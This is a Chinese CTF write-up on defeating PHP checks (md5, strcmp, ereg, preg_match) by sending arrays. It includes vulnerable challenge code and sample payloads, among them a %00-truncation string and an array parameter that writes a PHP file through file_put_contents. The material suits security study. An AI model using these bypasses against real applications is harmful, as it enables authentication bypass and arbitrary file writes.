优质广告供应商

广告是为了更好地支持作者创作

利用数组绕过问题小总结

题外话

下面的每一个标题都包含着一道ctf题目,推荐一边做题一边看……

0x01 数组绕过md5判断

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
md5函数传入数组返回null

如果传入md5函数的参数为数组类型,则返回null,null===null,因此可以通过数组可以绕过 === md5判断

0x02 数组绕过strcmp

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}

strcmp函数用于字符串的比较

int strcmp ( string $str1 , string $str2 )

返回值:如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

  • 5.2 中是将两个参数先转换成string类型。
  • 5.3.3 以后,当比较数组和字符串的时候,返回是0。
  • 5.5 中如果参数不是string类型,直接return了

存在以下情况

strcmp("foo", array()) => NULL + PHP Warning

strcmp("foo", new stdClass) => NULL + PHP Warning

strcmp(function(){}, "") => NULL + PHP Warning

因此post提交pass[]=aa,通过数组绕过strcmp。

0x03 数组绕过ereg

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

ereg函数的漏洞

  • 存在%00截断(已被preg_match替代)

  • 输入参数为数组时返回值为null

ereg函数处理数组返回null

payload:

  • ?nctf=111%00%23biubiubiu
  • ?nctf[]=aa

0x04 php的弱类型+数组绕过正则

function is_valid($title, $data)
{
    $data = $title . $data;
    return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}
function write_cache($title, $content)
{
    $dir = changedir(CACHE_DIR . get_username() . '/');
    if(!is_dir($dir)) {
        mkdir($dir);
    }
    ini_set('open_basedir', $dir);

    if (!is_valid($title, $content)) {
        exit("title or content error");
    }

    $filename = "{$dir}{$title}.php";

    file_put_contents($filename, $content);
    ini_set('open_basedir', __DIR__ . '/');
}

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

preg_match本身并没有什么问题,但是在正则匹配之前,$title$content进行了字符串连接。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。

file_put_contents函数可以处理数组,所以构造payload:?title=s&content[]=<?php phpinfo();?>

此文章侧重于数组绕过部分的讲解,本题完整题解详见 国家保卫者

>> 浓缩的都是精华

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

优质广告供应商

广告是为了更好地支持作者创作

推荐阅读更多精彩内容